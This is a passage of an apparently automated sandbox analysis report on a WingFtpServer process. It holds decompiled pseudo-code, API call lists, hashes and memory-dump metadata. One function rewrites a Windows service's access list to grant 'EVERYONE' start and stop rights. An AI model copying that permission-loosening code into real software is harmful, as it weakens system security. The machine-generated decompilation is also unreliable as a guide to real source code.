					_t43 = GetFileVersionInfoW(E03AAA8E4(_v8), _v16, _t64, _v20); // executed
					if(_t43 != 0 && VerQueryValueW(_v20, 0x3ac7eb0,  &_v24,  &_v28) != 0) {
						 *_t79 =  *(_v24 + 0x10) >> 0x00000010 & 0x0000ffff;
						 *_t77 =  *(_v24 + 0x10) & 0x0000ffff;
						 *_a4 =  *(_v24 + 0x14) >> 0x00000010 & 0x0000ffff;
						_v9 = 1;
					}
					_pop(_t74);
					 *[fs:eax] = _t74;
					_push(0x3ac7e86);
					return E03AA6EAC(_v20);
				}
			}

0x03ac7d9d
0x03ac7d9f
0x03ac7da7
0x03ac7daa
0x03ac7dac
0x03ac7db2
0x03ac7db3
0x03ac7db8
0x03ac7dbb
0x03ac7dbe
0x03ac7dc7
0x03ac7dcf
0x03ac7de1
0x03ac7de6
0x03ac7dea
0x03ac7e88
0x03ac7e8b
0x03ac7e8e
0x03ac7e9b
0x03ac7df0
0x03ac7df7
0x03ac7dfc
0x03ac7dfd
0x03ac7e02
0x03ac7e05
0x03ac7e1a
0x03ac7e21
0x03ac7e49
0x03ac7e52
0x03ac7e63
0x03ac7e65
0x03ac7e65
0x03ac7e6b
0x03ac7e6e
0x03ac7e71
0x03ac7e7e
0x03ac7e7e

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,00000000,03AC7E9C), ref: 03AC7DE1
GetFileVersionInfoW.VERSION(00000000,?,00000000,?,00000000,03AC7E7F,?,00000000,?,00000000,03AC7E9C), ref: 03AC7E1A
VerQueryValueW.VERSION(?,03AC7EB0,?,?,00000000,?,00000000,?,00000000,03AC7E7F,?,00000000,?,00000000,03AC7E9C), ref: 03AC7E34

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue
String ID:
API String ID: 2179348866-0
Opcode ID: 0ed7027c4403011b06c70fbbc58f47cb497aaca6e1c09166e288cf171865038c
Instruction ID: 119067978be39c2db42b3f5c23c594d3c24b3562c48ea60010ea8494f6d34643
Opcode Fuzzy Hash: 0ed7027c4403011b06c70fbbc58f47cb497aaca6e1c09166e288cf171865038c
Instruction Fuzzy Hash: E7312B76A10749AFDB01DFADC981DAEB7F8EB48600B5148BAA414E7311DB35ED00CB60

Uniqueness

Uniqueness Score: -1.00%

Function 03AA6514 Relevance: 3.8, APIs: 3, Instructions: 30
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E03AA6514() {
				signed int _t3;

				if( *0x3bd305d != 0) {
					while(1) {
						_t3 = 0;
						asm("lock cmpxchg [0x3bd5b94], dl");
						if(0 == 0) {
							goto L6;
						}
						if( *0x3bd398d != 0) {
							continue;
						} else {
							Sleep(0);
							_t3 = 0;
							asm("lock cmpxchg [0x3bd5b94], dl");
							if(0 != 0) {
								Sleep(0xa);
								continue;
							}
						}
						goto L6;
					}
				}
				L6:
				if( *0x3bd5b90 == 0) {
					_t3 = VirtualAlloc(0, 0x10000, 0x1000, 4); // executed
					 *0x3bd5b90 = _t3;
				}
				return _t3 & 0xffffff00 |  *0x3bd5b90 != 0x00000000;
			}

0x03aa651b
0x03aa6549
0x03aa654e
0x03aa6550
0x03aa655a
0x00000000
0x00000000
0x03aa6526
0x00000000
0x03aa6528
0x03aa652a
0x03aa6534
0x03aa6536
0x03aa6540
0x03aa6544
0x00000000
0x03aa6544
0x03aa6540
0x00000000
0x03aa6526
0x03aa6549
0x03aa655c
0x03aa6563
0x03aa6573
0x03aa6578
0x03aa6578
0x03aa6587

APIs

Sleep.KERNEL32(00000000,03AA65DE,?,?,?,03AA6671), ref: 03AA652A
Sleep.KERNEL32(0000000A,00000000,03AA65DE,?,?,?,03AA6671), ref: 03AA6544
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,03AA65DE,?,?,?,03AA6671), ref: 03AA6573

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Sleep$AllocVirtual
String ID:
API String ID: 3510833457-0
Opcode ID: 975abc3a8ec32dc9a206dcaf344c104d33031fe45f5930215761ac937c5db1d0
Instruction ID: 66c7005f2c548cd42c61fe4cee6a2a9b86fe364cc2a78c17e04cd0929c1d3e6a
Opcode Fuzzy Hash: 975abc3a8ec32dc9a206dcaf344c104d33031fe45f5930215761ac937c5db1d0
Instruction Fuzzy Hash: 91F0E96A54778114FB22FB28AB2A7821B40130334DF4C409F91891F5DDE7F60098CE42

Uniqueness

Uniqueness Score: -1.00%

Function 03AAD650 Relevance: 3.1, APIs: 2, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E03AAD650(intOrPtr __eax, void* __ebx, signed int __ecx, signed int __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				signed int _t41;
				signed short _t43;
				signed short _t46;
				signed int _t60;
				intOrPtr _t68;
				void* _t79;
				signed int* _t81;
				intOrPtr _t84;

				_t79 = __edi;
				_t61 = __ecx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__esi);
				_t81 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E03AA9D00(_v8);
				E03AA9D00(_v12);
				_push(_t84);
				_push(0x3aad767);
				_push( *[fs:eax]);
				 *[fs:eax] = _t84;
				E03AA9C1C(__ecx);
				if(_v12 == 0) {
					L14:
					_pop(_t68);
					 *[fs:eax] = _t68;
					_push(E03AAD76E);
					return E03AA9C7C( &_v28, 6);
				} else {
					E03AAA044( &_v20, _v12);
					_t41 = _v12;
					if(_t41 != 0) {
						_t41 =  *(_t41 - 4);
					}
					_t60 = _t41;
					if(_t60 < 1) {
						L7:
						_t43 = E03AAD374(_v8, _t60, _t61,  &_v16, _t81); // executed
						if(_v16 == 0) {
							L03AA51BC();
							E03AACD24(_t43, _t60,  &_v24, _t79, _t81);
							_t46 = E03AAD4A0(_v20, _t60, _t81, _v24, _t79, _t81); // executed
							__eflags =  *_t81;
							if( *_t81 == 0) {
								__eflags =  *0x3bd5c10;
								if( *0x3bd5c10 == 0) {
									L03AA51C4();
									E03AACD24(_t46, _t60,  &_v28, _t79, _t81);
									E03AAD4A0(_v20, _t60, _t81, _v28, _t79, _t81);
								}
							}
							__eflags =  *_t81;
							if(__eflags == 0) {
								E03AAD584(_v20, _t60, _t81, __eflags); // executed
							}
						} else {
							E03AAD4A0(_v20, _t60, _t81, _v16, _t79, _t81);
						}
						goto L14;
					}
					while( *((short*)(_v12 + _t60 * 2 - 2)) != 0x2e) {
						_t60 = _t60 - 1;
						__eflags = _t60;
						if(_t60 != 0) {
							continue;
						}
						goto L7;
					}
					_t61 = _t60;
					E03AAACBC(_v12, _t60, 1,  &_v20);
					goto L7;
				}
			}

0x03aad650
0x03aad650
0x03aad653
0x03aad655
0x03aad657
0x03aad659
0x03aad65b
0x03aad65d
0x03aad65f
0x03aad660
0x03aad661
0x03aad663
0x03aad666
0x03aad66c
0x03aad674
0x03aad67b
0x03aad67c
0x03aad681
0x03aad684
0x03aad689
0x03aad692
0x03aad74c
0x03aad74e
0x03aad751
0x03aad754
0x03aad766
0x03aad698
0x03aad69e
0x03aad6a3
0x03aad6a8
0x03aad6ad
0x03aad6ad
0x03aad6af
0x03aad6b4
0x03aad6db
0x03aad6e1
0x03aad6ea
0x03aad6fb
0x03aad703
0x03aad710
0x03aad715
0x03aad718
0x03aad71a
0x03aad721
0x03aad723
0x03aad72b
0x03aad738
0x03aad738
0x03aad721
0x03aad73d
0x03aad740
0x03aad747
0x03aad747
0x03aad6ec
0x03aad6f4
0x03aad6f4
0x00000000
0x03aad6ea
0x03aad6b6
0x03aad6d6
0x03aad6d7
0x03aad6d9
0x00000000
0x00000000
0x00000000
0x03aad6d9
0x03aad6c5
0x03aad6cf
0x00000000
0x03aad6cf

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,03AAD767,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,03AAD7EE,00000000,?,00000105), ref: 03AAD6FB
GetSystemDefaultUILanguage.KERNEL32(00000000,03AAD767,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,03AAD7EE,00000000,?,00000105), ref: 03AAD723

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: bbb36e9397eb8b243b098a6ce172c580dc2bb88220a4554e1c3eafe933d91cc6
Instruction ID: 710c84fe2e0000e43eeadf1234cbd371dde80920b2b0257493908bc15c22aabf
Opcode Fuzzy Hash: bbb36e9397eb8b243b098a6ce172c580dc2bb88220a4554e1c3eafe933d91cc6
Instruction Fuzzy Hash: 33315036A10A099FDB14FB9CCA90AAEB7F5EF49204F50456BD480AB750DB74AD80CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03AAD774 Relevance: 3.1, APIs: 2, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E03AAD774(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				short _v530;
				char _v536;
				char _v540;
				void* _t44;
				intOrPtr _t45;
				void* _t49;
				void* _t52;

				_v536 = 0;
				_v540 = 0;
				_v8 = 0;
				_t49 = __eax;
				_push(_t52);
				_push(0x3aad82e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t52 + 0xfffffde8;
				GetModuleFileNameW(0,  &_v530, 0x105);
				E03AAA948( &_v536, _t49);
				_push(_v536);
				E03AAA99C( &_v540, 0x105,  &_v530);
				_pop(_t44); // executed
				E03AAD650(_v540, 0,  &_v8, _t44, __edi, _t49); // executed
				if(_v8 != 0) {
					LoadLibraryExW(E03AAA8E4(_v8), 0, 2);
				}
				_pop(_t45);
				 *[fs:eax] = _t45;
				_push(E03AAD835);
				E03AA9C7C( &_v540, 2);
				return E03AA9C1C( &_v8);
			}

0x03aad781
0x03aad787
0x03aad78d
0x03aad790
0x03aad794
0x03aad795
0x03aad79a
0x03aad79d
0x03aad7b0
0x03aad7bd
0x03aad7c8
0x03aad7da
0x03aad7e8
0x03aad7e9
0x03aad7f2
0x03aad801
0x03aad806
0x03aad80a
0x03aad80d
0x03aad810
0x03aad820
0x03aad82d

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,03AAD82E,?,03AA0000,03BCEC1C), ref: 03AAD7B0
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,03AAD82E,?,03AA0000,03BCEC1C), ref: 03AAD801

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: a6ad7dc94966992a8e2560c2d01973d506bfa5f8c9abed22f1b6db6bd139c7fb
Instruction ID: d08f19db0852b6909b857a1d1f6416275cdb1191de203358a4c04484fd3744fc
Opcode Fuzzy Hash: a6ad7dc94966992a8e2560c2d01973d506bfa5f8c9abed22f1b6db6bd139c7fb
Instruction Fuzzy Hash: 96118236A44B1CAFDB11EB58CD95BDD73B8EB09300F5144BAA408A7750DB709F84CA95

Uniqueness

Uniqueness Score: -1.00%

Function 03AA5650 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E03AA5650(signed int __eax) {
				void* _t4;
				intOrPtr _t7;
				signed int _t8;
				void** _t10;
				void* _t12;
				void* _t14;

				_t8 = __eax;
				E03AA55E4(__eax);
				_t4 = VirtualAlloc(0, 0x13fff0, 0x1000, 4); // executed
				if(_t4 == 0) {
					 *0x3bd3af4 = 0;
					return 0;
				} else {
					_t10 =  *0x3bd3ae0; // 0x3de0000
					_t14 = _t4;
					 *_t14 = 0x3bd3adc;
					 *0x3bd3ae0 = _t4;
					 *(_t14 + 4) = _t10;
					 *_t10 = _t4;
					_t12 = _t14 + 0x13fff0;
					 *((intOrPtr*)(_t12 - 4)) = 2;
					 *0x3bd3af4 = 0x13ffe0 - _t8;
					_t7 = _t12 - _t8;
					 *0x3bd3af0 = _t7;
					 *(_t7 - 4) = _t8 | 0x00000002;
					return _t7;
				}
			}

0x03aa5652
0x03aa5654
0x03aa5667
0x03aa566e
0x03aa56c0
0x03aa56c9
0x03aa5670
0x03aa5670
0x03aa5676
0x03aa5678
0x03aa567e
0x03aa5683
0x03aa5686
0x03aa568a
0x03aa5695
0x03aa56a2
0x03aa56aa
0x03aa56ac
0x03aa56b9
0x03aa56bd
0x03aa56bd

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,000001A3,03AA5C67,000000FF,03AA620C,00000000,03AAE153,00000000,03AAE699,00000000,03AAE95B,00000000), ref: 03AA5667

Strings

@., xrefs: 03AA56A2, 03AA56C0

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: AllocVirtual
String ID: @.
API String ID: 4275171209-4201455939
Opcode ID: 5aac1ac48d6648e26d496c453955848ec8902b2c8d49bc9d1876209112defce0
Instruction ID: d93746c5f344da7917bbfe2fd712dfe2d97507b10f0c2cfb9514c5d093095866
Opcode Fuzzy Hash: 5aac1ac48d6648e26d496c453955848ec8902b2c8d49bc9d1876209112defce0
Instruction Fuzzy Hash: A3F08CB6F023114FD714EF789A51745BBD4A705358B15417EE94DEBB89E7B188008784

Uniqueness

Uniqueness Score: -1.00%

Function 03AAC4E8 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E03AAC4E8(void* __eax) {
				short _v532;
				void* __ebx;
				void* __esi;
				intOrPtr _t14;
				void* _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t16 = __eax;
				_t22 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					_t3 = _t16 + 4; // 0x3aa0000
					GetModuleFileNameW( *_t3,  &_v532, 0x20a);
					_t14 = E03AAD774(_t21, _t16, _t18, _t19, _t22); // executed
					_t20 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t20;
					if(_t20 == 0) {
						_t5 = _t16 + 4; // 0x3aa0000
						 *((intOrPtr*)(_t16 + 0x10)) =  *_t5;
					}
				}
				_t7 = _t16 + 0x10; // 0x3aa0000
				return  *_t7;
			}

0x03aac4f0
0x03aac4f2
0x03aac4f6
0x03aac502
0x03aac506
0x03aac50f
0x03aac514
0x03aac516
0x03aac51b
0x03aac51d
0x03aac520
0x03aac520
0x03aac51b
0x03aac523
0x03aac52e

APIs

GetModuleFileNameW.KERNEL32(03AA0000,?,0000020A), ref: 03AAC506

Part of subcall function 03AAD774: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,03AAD82E,?,03AA0000,03BCEC1C), ref: 03AAD7B0
Part of subcall function 03AAD774: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,03AAD82E,?,03AA0000,03BCEC1C), ref: 03AAD801

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: 501834dea3654184c50dffef8a818409901cf0462aec5719360875e2ee063d11
Instruction ID: 441ee8a9ebb395c50098a48d9596b6bcf6f22f3341caebee847b3dd047014e9b
Opcode Fuzzy Hash: 501834dea3654184c50dffef8a818409901cf0462aec5719360875e2ee063d11
Instruction Fuzzy Hash: 41E0EDB6A007109BDF14DF5CD9C4A5637E8AB09664F044A96AD54CF346E371DA108BD1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03BC4598 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 151
memoryserviceCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E03BC4598(void* __ebx, void* __edi, void* __esi, char _a4) {
				struct _SECURITY_DESCRIPTOR _v8;
				struct _ACL* _v12;
				struct _ACL* _v16;
				int _v20;
				int _v24;
				int _v28;
				char _v60;
				struct _SECURITY_DESCRIPTOR _v92;
				char* _t67;
				void* _t83;
				intOrPtr _t86;
				int _t88;
				void* _t90;
				void* _t93;

				E03AA9D20( &_a4);
				_push(_t93);
				_push(0x3bc472a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t93 + 0xffffffa8;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_t90 = OpenSCManagerW(0, 0, 0xf003f);
				if(_t90 == 0) {
					L16:
					_pop(_t86);
					 *[fs:eax] = _t86;
					_push(E03BC4731);
					return E03AA9C64( &_a4);
				}
				_t83 = OpenServiceW(_t90, E03AAA724(_a4), 0x60000);
				if(_t83 != 0) {
					if(QueryServiceObjectSecurity(_t83, 4,  &_v8, 0,  &_v28) != 0) {
						L7:
						if(GetSecurityDescriptorDacl(_v8,  &_v20,  &_v12,  &_v24) != 0) {
							_push(0);
							_push(2);
							_push(0x20030);
							_push(L"EVERYONE");
							_push( &_v60);
							L03BC4588();
							_push( &_v16);
							_push(_v12);
							_t67 =  &_v60;
							_push(_t67);
							_push(1);
							L03BC4590();
							if(_t67 == 0 && InitializeSecurityDescriptor( &_v92, 1) != 0 && SetSecurityDescriptorDacl( &_v92, 0xffffffff, _v16, 0) != 0) {
								SetServiceObjectSecurity(_t83, 4,  &_v92);
							}
						}
						L12:
						CloseServiceHandle(_t90);
						CloseServiceHandle(_t83);
						if(_v16 != 0) {
							LocalFree(_v16);
						}
						if(_v8 != 0) {
							HeapFree(GetProcessHeap(), 0, _v8);
						}
						goto L16;
					}
					if(GetLastError() != 0x7a) {
						goto L12;
					}
					_t88 = _v28;
					_v8 = HeapAlloc(GetProcessHeap(), 8, _t88);
					if(_v8 == 0 || QueryServiceObjectSecurity(_t83, 4, _v8, _t88,  &_v28) == 0) {
						goto L12;
					} else {
						goto L7;
					}
				} else {
					CloseServiceHandle(_t90);
					goto L16;
				}
			}

0x03bc45a4
0x03bc45ab
0x03bc45ac
0x03bc45b1
0x03bc45b4
0x03bc45b9
0x03bc45be
0x03bc45c3
0x03bc45c8
0x03bc45cd
0x03bc45d2
0x03bc45e3
0x03bc45e7
0x03bc4714
0x03bc4716
0x03bc4719
0x03bc471c
0x03bc4729
0x03bc4729
0x03bc4601
0x03bc4605
0x03bc4626
0x03bc4669
0x03bc4680
0x03bc4682
0x03bc4684
0x03bc4686
0x03bc468b
0x03bc4693
0x03bc4694
0x03bc469c
0x03bc46a0
0x03bc46a1
0x03bc46a4
0x03bc46a5
0x03bc46a7
0x03bc46ae
0x03bc46db
0x03bc46e0
0x03bc46ae
0x03bc46e2
0x03bc46e3
0x03bc46e9
0x03bc46f2
0x03bc46f8
0x03bc46f8
0x03bc4701
0x03bc470f
0x03bc470f
0x00000000
0x03bc4701
0x03bc4630
0x00000000
0x00000000
0x03bc4636
0x03bc4647
0x03bc464e
0x00000000
0x00000000
0x00000000
0x00000000
0x03bc4607
0x03bc4608
0x00000000
0x03bc4608

APIs

Part of subcall function 03AA9D20: SysAllocStringLen.OLEAUT32(?,?), ref: 03AA9D2E

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC45DE
OpenServiceW.ADVAPI32(00000000,00000000,00060000,00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC45FC
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00060000,00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC4608
QueryServiceObjectSecurity.ADVAPI32(00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC461F
GetLastError.KERNEL32(00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC4628
GetProcessHeap.KERNEL32(00000008,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC463C
HeapAlloc.KERNEL32(00000000,00000008,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000,000F003F,00000000,03BC472A), ref: 03BC4642
QueryServiceObjectSecurity.ADVAPI32(00000000,00000004,00000000,?,?,00000000,00000008,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000), ref: 03BC4660
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000,000F003F,00000000), ref: 03BC4679
BuildExplicitAccessWithNameW.ADVAPI32(?,EVERYONE,00020030,00000002,00000000,?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 03BC4694
SetEntriesInAclW.ADVAPI32(00000001,?,?,?,?,EVERYONE,00020030,00000002,00000000,?,?,?,?,00000000,00000004,?), ref: 03BC46A7
InitializeSecurityDescriptor.ADVAPI32(?,00000001,00000001,?,?,?,?,EVERYONE,00020030,00000002,00000000,?,?,?,?,00000000), ref: 03BC46B6
SetSecurityDescriptorDacl.ADVAPI32(?,000000FF,?,00000000,?,00000001,00000001,?,?,?,?,EVERYONE,00020030,00000002,00000000,?), ref: 03BC46CB
SetServiceObjectSecurity.ADVAPI32(00000000,00000004,?,?,000000FF,?,00000000,?,00000001,00000001,?,?,?,?,EVERYONE,00020030), ref: 03BC46DB
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000,000F003F), ref: 03BC46E3
CloseServiceHandle.ADVAPI32(00000000,00000000,?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000,00000000), ref: 03BC46E9
LocalFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000,00000000), ref: 03BC46F8
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000,00060000), ref: 03BC4709
HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 03BC470F

Strings

EVERYONE, xrefs: 03BC468B

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
